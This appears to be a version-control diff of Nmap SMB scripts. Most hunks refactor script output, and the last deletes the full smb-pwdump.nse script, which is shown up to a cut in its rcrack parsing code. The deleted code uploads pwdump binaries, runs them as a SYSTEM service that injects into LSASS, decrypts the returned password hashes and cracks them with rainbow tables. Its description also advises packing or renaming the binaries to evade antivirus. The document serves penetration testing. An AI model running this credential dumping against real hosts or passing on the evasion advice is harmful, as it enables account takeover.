samr_status, samr_result = msrpc.samr_enum_users(host) lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(samr_status == false) then if(lsa_status) then
if(nmap.debugging() > 0) then -- Copy the returned array into the names[] table
response = response .. "ERROR: Couldn't enumerate through SAMR: " .. samr_result .. "\n" stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
end for i = 1, #lsa_result, 1 do
else if(lsa_result[i]['name'] ~= nil) then
-- Copy the returned array into the names[] table, using the name as the key -- Check if the name already exists
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result) if(not(names_lookup[lsa_result[i]['name']])) then
for i = 1, #samr_result, 1 do table.insert(names, lsa_result[i])
names[string.upper(samr_result[i]['name'])] = samr_result[i] end
end
end end
end end
end end
-- Check if both failed -- Check if both failed
if(samr_status == false and lsa_status == false) then if(samr_status == false and lsa_status == false) then
if(nmap.debugging() > 0) then if(string.find(lsa_result, 'ACCESS_DENIED')) then
return response return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
else
return nil
end end
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end end
-- Put the names into an array of strings, so we can sort them
for name, details in pairs(names) do
name_strings[#name_strings + 1] = names[name]['name']
end
-- Sort them -- Sort them
table.sort(name_strings, function (a, b) return string.lower(a) < string.lower(b) end) table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Break them out by domain
local domains = {}
for _, name in ipairs(names) do
local domain = name['domain']
-- Make sure the entry in the domains table exists
if(not(domains[domain])) then
domains[domain] = {}
end
table.insert(domains[domain], name)
end
-- Check if we actually got any names back -- Check if we actually got any names back
if(#name_strings == 0) then if(#names == 0) then
response = response .. "Couldn't find any account names anonymously, sorry!" table.insert(response, "Couldn't find any account names, sorry!")
else else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can -- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then if(nmap.verbosity() < 1) then
local response_array = {} for domain, domain_users in pairs(domains) do
for i = 1, #name_strings, 1 do -- Make an impromptu list of users
local name = string.upper(name_strings[i]) local names = {}
response_array[#response_array + 1] = (names[name]['domain'] .. "\\" .. names[name]['name']) for _, info in ipairs(domain_users) do
end table.insert(names, info['name'])
response = response .. stdnse.strjoin(", ", response_array)
else
for i = 1, #name_strings, 1 do
local name = string.upper(name_strings[i])
response = response .. string.format("%s\n", names[name]['name'])
if(names[name]['typestr'] ~= nil) then response = response .. string.format(" |_ Type: %s\n", names[name]['typestr']) end
if(names[name]['domain'] ~= nil) then response = response .. string.format(" |_ Domain: %s\n", names[name]['domain']) end
if(nmap.verbosity() > 1) then
if(names[name]['rid'] ~= nil) then response = response .. string.format(" |_ RID: %s\n", names[name]['rid']) end
end end
if(names[name]['fullname'] ~= nil) then response = response .. string.format(" |_ Full name: %s\n", names[name]['fullname']) end
if(names[name]['description'] ~= nil) then response = response .. string.format(" |_ Description: %s\n", names[name]['description']) end
if(names[name]['flags'] ~= nil) then response = response .. string.format(" |_ Flags: %s\n", stdnse.strjoin(", ", names[name]['flags'])) end -- Add this domain to the response
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
end
else
for domain, domain_users in pairs(domains) do
for _, info in ipairs(domain_users) do
local response_part = {}
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
if(nmap.verbosity() > 1) then if(info['fullname']) then
if(names[name]['source'] ~= nil) then response = response .. string.format(" |_ Source: %s\n", names[name]['source']) end table.insert(response_part, string.format("Full name: %s", info['fullname']))
end
if(info['description']) then
table.insert(response_part, string.format("Description: %s", info['description']))
end
if(info['flags']) then
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
end
table.insert(response, response_part)
end end
end end
end end
end end
return response return stdnse.format_output(true, response)
end end
--real_action = action
--
-- function action (...)
-- local t = {n = select("#", ...), ...};
-- local status, ret = xpcall(function() return real_action(unpack(t, 1, t.n)) end, debug.traceback)
--
-- if not status then
-- error(ret)
-- end
--
-- return ret
-- end

View File

@@ -27,10 +27,11 @@ they likely won't change the outcome in any meaningful way.
-- sudo nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 127.0.0.1 -- sudo nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 127.0.0.1
-- --
--@output --@output
-- | smb-os-discovery: Windows 2000 -- Host script results:
-- | LAN Manager: Windows 2000 LAN Manager -- | smb-os-discovery:
-- | Name: WORKGROUP\TEST1 -- | | OS: Windows 2000 (Windows 2000 LAN Manager)
-- |_ System time: 2008-09-09 20:55:55 UTC-5 -- | | Name: WORKGROUP\RON-WIN2K-TEST
-- |_ |_ System time: 2009-11-09 14:33:39 UTC-6
----------------------------------------------------------------------- -----------------------------------------------------------------------
author = "Ron Bowes" author = "Ron Bowes"
@@ -61,18 +62,18 @@ function get_windows_version(os)
end end
action = function(host) action = function(host)
local response = {}
local status, result = smb.get_os(host) local status, result = smb.get_os(host)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, result)
return "smb-os-discovery: ERROR: " .. result
else
return nil
end
end end
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str']) table.insert(response, string.format("OS: %s (%s)", get_windows_version(result['os']), result['lanmanager']))
table.insert(response, string.format("Name: %s\\%s", result['domain'], result['server']))
table.insert(response, string.format("System time: %s %s", result['date'], result['timezone_str']))
return stdnse.format_output(true, response)
end end

View File

@@ -304,32 +304,82 @@ Some ideas for later versions:
-- --
-- @output -- @output
-- Host script results: -- Host script results:
-- | smb-psexec: -- | smb-psexec:
-- | IP Address and MAC Address from 'ipconfig.exe' -- | | Windows version
-- | | Ethernet adapter Local Area Connection: -- | | |_ Microsoft Windows 2000 [Version 5.00.2195]
-- | | MAC Address: 00:0C:29:12:E6:DB -- | | IP Address and MAC Address from 'ipconfig.exe'
-- | |_ IP Address: 192.168.1.21 -- | | | Ethernet adapter Local Area Connection 2:
-- | -- | | | MAC Address: 00:50:56:A1:24:C2
-- | User list from 'net user' -- | | | IP Address: 10.0.0.30
-- | | Administrator Guest ron -- | | | Ethernet adapter Local Area Connection:
-- | |_SUPPORT_388945a0 test -- | | |_ MAC Address: 00:50:56:A1:00:65
-- | -- | | User list from 'net user'
-- | Membership of 'administrators' from 'net localgroup administrators' -- | | | Administrator TestUser3 Guest
-- | | Administrator -- | | | IUSR_RON-WIN2K-TEST IWAM_RON-WIN2K-TEST nmap
-- | | ron -- | | | rontest123 sshd SvcCOPSSH
-- | |_test -- | | |_ test1234 Testing TsInternetUser
-- | -- | | Membership of 'administrators' from 'net localgroup administrators'
-- | Can the host ping our address? -- | | | Administrator
-- | | Pinging 192.168.1.100 with 32 bytes of data: -- | | | SvcCOPSSH
-- | |_Reply from 192.168.1.100: bytes=32 time<1ms TTL=64 -- | | | test1234
-- | -- | | |_ Testing
-- | Traceroute back to the scanner -- | | Can the host ping our address?
-- | |_ 1 <1 ms <1 ms <1 ms 192.168.1.100 -- | | | Pinging 10.0.0.138 with 32 bytes of data:
-- | -- | | |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
-- | ARP Cache from arp.exe -- | | Traceroute back to the scanner
-- | | Internet Address Physical Address Type -- | | |_ 1 <10 ms <10 ms <10 ms 10.0.0.138
-- | |_ 192.168.1.100 00-21-9b-e5-78-ea dynamic -- | | ARP Cache from arp.exe
-- |_ -- | | | Internet Address Physical Address Type
-- | | |_ 10.0.0.138 00-50-56-a1-27-4b dynamic
-- | | List of listening and established connections (netstat -an)
-- | | | Proto Local Address Foreign Address State
-- | | | TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:4933 0.0.0.0:0 LISTENING
-- | | | TCP 10.0.0.30:139 0.0.0.0:0 LISTENING
-- | | | TCP 127.0.0.1:2528 127.0.0.1:2529 ESTABLISHED
-- | | | TCP 127.0.0.1:2529 127.0.0.1:2528 ESTABLISHED
-- | | | TCP 127.0.0.1:2531 127.0.0.1:2532 ESTABLISHED
-- | | | TCP 127.0.0.1:2532 127.0.0.1:2531 ESTABLISHED
-- | | | TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
-- | | | TCP 127.0.0.1:5152 127.0.0.1:2530 CLOSE_WAIT
-- | | | UDP 0.0.0.0:135 *:*
-- | | | UDP 0.0.0.0:445 *:*
-- | | | UDP 0.0.0.0:1030 *:*
-- | | | UDP 0.0.0.0:3456 *:*
-- | | | UDP 10.0.0.30:137 *:*
-- | | | UDP 10.0.0.30:138 *:*
-- | | | UDP 10.0.0.30:500 *:*
-- | | | UDP 10.0.0.30:4500 *:*
-- | | |_ UDP 127.0.0.1:1026 *:*
-- | | Full routing table from 'netstat -nr'
-- | | | ===========================================================================
-- | | | Interface List
-- | | | 0x1 ........................... MS TCP Loopback interface
-- | | | 0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
-- | | | 0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
-- | | | ===========================================================================
-- | | | ===========================================================================
-- | | | Active Routes:
-- | | | Network Destination Netmask Gateway Interface Metric
-- | | | 10.0.0.0 255.255.255.0 10.0.0.30 10.0.0.30 1
-- | | | 10.0.0.30 255.255.255.255 127.0.0.1 127.0.0.1 1
-- | | | 10.255.255.255 255.255.255.255 10.0.0.30 10.0.0.30 1
-- | | | 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
-- | | | 224.0.0.0 224.0.0.0 10.0.0.30 10.0.0.30 1
-- | | | 255.255.255.255 255.255.255.255 10.0.0.30 2 1
-- | | | ===========================================================================
-- | | | Persistent Routes:
-- | | | None
-- |_ |_ |_ Route Table
-- --
--@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec. --@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec.
--@args nohide Don't set the uploaded files to hidden/system/etc. --@args nohide Don't set the uploaded files to hidden/system/etc.
@@ -742,7 +792,8 @@ local function get_config(host)
if(#missing_args > 0) then if(#missing_args > 0) then
enabled = false enabled = false
mod.disabled_message = {} mod.disabled_message = {}
table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given. Please add --script-args=[arg]=[value] to your commandline to run this module", stdnse.strjoin("', '", missing_args))) table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given.", stdnse.strjoin("', '", missing_args)))
table.insert(mod.disabled_message, string.format("Please add --script-args=[arg]=[value] to your commandline to run this module"))
if(#missing_args == 1) then if(#missing_args == 1) then
table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123", missing_args[1])) table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123", missing_args[1]))
else else
@@ -763,6 +814,7 @@ local function get_config(host)
if(mod.url) then if(mod.url) then
stdnse.print_debug(1, "You can try getting it from: %s", mod.url) stdnse.print_debug(1, "You can try getting it from: %s", mod.url)
table.insert(mod.disabled_message, string.format("You can try getting it from: %s", mod.url)) table.insert(mod.disabled_message, string.format("You can try getting it from: %s", mod.url))
table.insert(mod.disabled_message, "And placing it in Nmap's nselib/data/psexec/ directory")
end end
else else
-- We found it -- We found it
@@ -1189,7 +1241,7 @@ local function parse_output(config, data)
-- If we're including it, do the replacements -- If we're including it, do the replacements
if(include) then if(include) then
line = do_replacements(mod, line) line = do_replacements(mod, line)
table.insert(result['lines'], line) table.insert(result, line)
end end
end end
end end
@@ -1207,7 +1259,10 @@ local function parse_output(config, data)
if(type(mod.disabled_message) == 'string') then if(type(mod.disabled_message) == 'string') then
mod.disabled_message = {mod.disabled_message} mod.disabled_message = {mod.disabled_message}
end end
result['lines'] = mod.disabled_message
for _, message in ipairs(mod.disabled_message) do
table.insert(result, "WARNING: " .. message)
end
table.insert(results, result) table.insert(results, result)
end end
@@ -1215,31 +1270,7 @@ local function parse_output(config, data)
return true, results return true, results
end end
---Convert the array generated by <code>parse_output</code> into something a little friendlier. action = function(host)
local function results_to_string(results)
local response = " \n"
for _, mod in ipairs(results) do
response = response .. string.format("%s\n", mod.name)
for i = 1, #mod.lines, 1 do
if(i < #mod.lines) then
response = response .. string.format("| %s\n", mod.lines[i])
else
response = response .. string.format("|_%s\n", mod.lines[i])
response = response .. " \n"
end
end
end
if(response == " \n") then
return ""
end
return response
end
function go(host)
local status, result, err local status, result, err
local key local key
@@ -1253,7 +1284,7 @@ function go(host)
-- Parse the configuration file -- Parse the configuration file
status, config = get_config(host) status, config = get_config(host)
if(not(status)) then if(not(status)) then
return false, config return stdnse.format_output(false, config)
end end
if(#config.enabled_modules > 0) then if(#config.enabled_modules > 0) then
@@ -1262,55 +1293,57 @@ function go(host)
-- If the user just wanted a cleanup, do it -- If the user just wanted a cleanup, do it
if(nmap.registry.args.cleanup == '1' or nmap.registry.args.cleanup == 'true') then if(nmap.registry.args.cleanup == '1' or nmap.registry.args.cleanup == 'true') then
return true, "Cleanup complete" return stdnse.format_output(true, "Cleanup complete.")
end end
-- Check if any of the files exist -- Check if any of the files exist
status, result, files = smb.files_exist(host, config.share, config.all_files, {}) status, result, files = smb.files_exist(host, config.share, config.all_files, {})
if(not(status)) then if(not(status)) then
return false, "Couldn't log in to check for remote files: " .. result return stdnse.format_output(false, "Couldn't log in to check for remote files: " .. result)
end end
if(result > 0) then if(result > 0) then
return false, "One or more output files already exist on the host, and couldn't be removed. Try:\n" .. local response = {}
" * Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might hlep),\n" .. table.insert(response, "One or more output files already exist on the host, and couldn't be removed. Try:")
" * Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,\n" .. table.insert(response, "* Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might help),")
" * Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or\n" .. table.insert(response, "* Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,")
" * Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")" table.insert(response, "* Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or")
table.insert(response, "* Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")")
return stdnse.format_output(false, response)
end end
-- Upload the modules -- Upload the modules
status, err = upload_everything(host, config) status, err = upload_everything(host, config)
if(not(status)) then if(not(status)) then
cleanup(host, config) cleanup(host, config)
return false, err return stdnse.format_output(false, err)
end end
-- Create the service -- Create the service
status, err = create_service(host, config) status, err = create_service(host, config)
if(not(status)) then if(not(status)) then
cleanup(host, config) cleanup(host, config)
return false, err return stdnse.format_output(false, err)
end end
-- Get the table of parameters to pass to the service when we start it -- Get the table of parameters to pass to the service when we start it
status, params = get_params(config) status, params = get_params(config)
if(not(status)) then if(not(status)) then
cleanup(host, config) cleanup(host, config)
return false, params return stdnse.format_output(false, params)
end end
-- Start the service -- Start the service
status, params = start_service(host, config, params) status, params = start_service(host, config, params)
if(not(status)) then if(not(status)) then
cleanup(host, config) cleanup(host, config)
return false, params return stdnse.format_output(false, params)
end end
-- Get the result -- Get the result
status, result = get_output_file(host, config, config.share) status, result = get_output_file(host, config, config.share)
if(not(status)) then if(not(status)) then
cleanup(host, config) cleanup(host, config)
return false, result return stdnse.format_output(false, result)
end end
-- Do a final cleanup -- Do a final cleanup
@@ -1321,40 +1354,21 @@ function go(host)
end end
-- Build the output into a nice table -- Build the output into a nice table
status, results = parse_output(config, result) status, response = parse_output(config, result)
if(status == false) then if(status == false) then
return false, "Couldn't parse output: " .. results return stdnse.format_output(false, "Couldn't parse output: " .. results)
end end
-- Parse the results into a pretty string
response = results_to_string(results)
-- Add a warning if nothing was enabled -- Add a warning if nothing was enabled
if(#config.enabled_modules == 0) then if(#config.enabled_modules == 0) then
if(#response == 0) then if(#response == 0) then
response = "No modules were enabled! Please check your configuration file." response = {"No modules were enabled! Please check your configuration file."}
else else
response = response .. "\n\nNo modules were enabled! Please fix any errors displayed above, or check your configuration file." table.insert(response, "No modules were enabled! Please fix any errors displayed above, or check your configuration file.")
end end
end end
-- Return the string -- Return the string
return true, response return stdnse.format_output(true, response)
end end
action = function(host)
local status, result = go(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
end
return result
end

View File

@@ -1,536 +0,0 @@
description = [[
This script implements the functionality found in pwdump.exe, written by the Foofus group.
Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
password hashes for a remote machine. This currently works against Windows 2000 and Windows
2003.
To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.
Note that these files will likely trigger antivirus software -- if you want to get around that,
I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
Another possible way around antivirus software is to change the filenames (especially on the remote
system -- triggering antivirus on the remote system can land you with some questions to answer). To do
that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
and can be used in place of a password to log into systems (this technique is called "passing the
hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of
<code>smbpassword</code> -- see <code>smbauth.lua</code> for more information.
In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
argument. For example:
<code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
directory.
This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
runs, and sends back the data. Once the service is finished, the script will stop the service and
delete the files.
Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges).
It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
and the service injects itself into the LSASS process to collect the needed information.
That being said, extra effort was focused on cleaning up. Unless something really bad happens
(which is always possible with a script like this), the service will be removed and the files
deleted.
Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
and higher won't ever work, because they disable the SVCCTL process.
This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator
passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
to the password list for more brute forcing.
Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
disclaimer applies -- use this responsibly, and especially don't break any laws with it.
]]
---
-- @usage
-- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
-- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
--
-- @output
-- | smb-test:
-- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
-- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--
-- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
-- directories searched by Lua (the $PATH variable, most likely)
-- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
-- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
-- except for the leading pipe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
local SERVICE = "nmap-pwdump-"
local PIPE = "nmap-pipe-"
local FILE1 = "nselib/data/lsremora.dll"
local FILENAME1 = "lsremora.dll"
local FILE2 = "nselib/data/servpw.exe"
local FILENAME2 = "servpw.exe"
hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Stop/delete the service and delete the service file. This can be used alone to clean up the
-- pwdump stuff, if this crashes.
--
--@param host The host object.
--@param share The share to clean up on.
--@param path The local path to the share.
--@param service_name The name to use for the service.
function cleanup(host, share, path, service_name)
local status, err
stdnse.print_debug(1, "Entering cleanup('%s', '%s', '%s') -- errors here can generally be ignored", share, path, service_name)
-- Try stopping the service
status, err = msrpc.service_stop(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't stop service: %s", err)
end
-- Try deleting the service
status, err = msrpc.service_delete(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete service: %s", err)
end
-- Delete the files
status, err = smb.file_delete(host, share, "\\" .. FILENAME1)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
end
status, err = smb.file_delete(host, share, "\\" .. FILENAME2)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
end
stdnse.print_debug(1, "Leaving cleanup()")
return true
end
function upload_files(host, share)
local status, err
status, err = smb.file_upload(host, FILE1, share, "\\" .. FILENAME1)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
end
status, err = smb.file_upload(host, FILE2, share, "\\" .. FILENAME2)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
end
return true
end
function read_and_decrypt(host, key, pipe)
local status, smbstate
local results = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if(status == false) then
return false, smbstate
end
local i = 1
repeat
local status, wait_result, create_result, read_result, close_result
results[i] = {}
-- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
-- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
local j = 1
repeat
status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
if(status ~= false) then
break
end
j = j + 1
-- Wait 50ms, if there's a time when we get an actual sleep()-style function.
stdnse.sleep(.05)
until status == true
if(j == 10) then
smbstop(smbstate)
return false, "WaitForNamedPipe() failed, service may not have been created properly."
end
-- Get a handle to the pipe
local overrides = {}
status, create_result = smb.create_file(smbstate, "\\" .. pipe, overrides)
if(status == false) then
smb.stop(smbstate)
return false, create_result
end
status, read_result = smb.read_file(smbstate, 0, 1000)
if(status == false) then
-- TODO: Figure out how to handle errors better
return false, read_result
else
local data = read_result['data']
local code = string.byte(string.sub(data, 1, 1))
if(code == 0) then
break
elseif(code == 2) then
local cUserBlocks = string.byte(string.sub(data, 3, 3))
local userblock = ""
for j = 0, cUserBlocks, 1 do
local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
userblock = userblock .. bin.pack(">II", a, b)
end
local password_block = ""
for j = 0, 3, 1 do
local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
password_block = password_block .. bin.pack(">II", a, b)
end
_, results[i]['username'] = bin.unpack("z", userblock)
_, results[i]['ntlm'] = bin.unpack("H16", password_block)
_, results[i]['lm'] = bin.unpack("H16", password_block, 17)
if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
results[i]['lm'] = "NO PASSWORD*********************"
end
if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
results[i]['ntlm'] = "NO PASSWORD*********************"
end
else
stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
end
end
status, close_result = smb.close_file(smbstate)
if(status == false) then
smb.stop(smbstate)
return false, close_result
end
i = i + 1
until(1 == 2)
smb.stop(smbstate)
return true, results
end
-- TODO: Check for OpenSSL
function go(host)
local status, err
local results
local key
local key = ""
local i
local result
local service_name
local share, path
result, service_name = smb.get_uniqueish_name(host)
if(result == false) then
return false, string.format("Error generating service name: %s", service_name)
end
stdnse.print_debug("pwdump: Generated static service name: %s", service_name)
-- Try and find a share to use.
result, share, path = smb.share_find_writable(host)
if(result == false) then
return false, string.format("Couldn't find a writable share: %s", share)
end
if(path == nil) then
return false, string.format("Couldn't find path to writable share (we probably don't have admin access): '%s'", share)
end
stdnse.print_debug(1, "pwdump: Found usable share %s (%s)", share, path)
-- Start by cleaning up, just in case.
cleanup(host, share, path, service_name)
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
-- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
-- without error, but eh? Debugging is easier when you can type the key in)
local key_bytes = openssl.rand_bytes(16)
for i = 1, 16, 1 do
key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
end
-- Upload the files
status, err = upload_files(host, share)
if(status == false) then
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't upload the files: %s", err)
end
-- Create the service
status, err = msrpc.service_create(host, SERVICE .. service_name, path .. "\\servpw.exe")
if(status == false) then
stdnse.print_debug(1, "Couldn't create the service: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't create the service on the remote machine: %s", err)
end
-- Start the service
status, err = msrpc.service_start(host, SERVICE .. service_name, {PIPE .. service_name, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
if(status == false) then
stdnse.print_debug(1, "Couldn't start the service: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't start the service on the remote machine: %s", err)
end
-- Read the data
status, results = read_and_decrypt(host, key, PIPE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Error reading data from remote service")
cleanup(host, share, path, service_name)
return false, string.format("Failed to read password data from the remote service: %s", err)
end
-- Clean up what we did
cleanup(host, share, path, service_name)
return true, results
end
---Converts an array of accounts to a pwdump-like representation.
--@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
--@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
--@return A string in the standard pwdump format.
function accounts_to_pwdump(accounts, strict)
local str = ""
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(strict) then
str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
else
if(accounts[i]['password']) then
str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
else
str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
end
end
end
end
return str
end
---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
-- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
function rainbow(accounts, rcrack, rtable)
local pwdump = accounts_to_pwdump(accounts, true)
local pwdump_file = os.tmpname()
local file
local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
-- Print a warning if 'charset.txt' isn't present
file = io.open("charset.txt", "r")
if(file == nil) then
stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
else
io.close(file)
end
-- Create the pwdump file
stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
file, err = io.open(pwdump_file, "w")
if(file == nil) then
return false, err
end
file:write(pwdump)
file:close()
-- Start up rcrack
stdnse.print_debug(1, "Starting rcrack (%s)", command)
file, err = io.popen(command, "r")
if(file == nil) then
return false, err
end
for line in file:lines() do
stdnse.print_debug(2, "RCRACK: %s\n", line)
if(string.find(line, "hex:") ~= nil) then
local start_hex1 = 0
local start_hex2 = 0
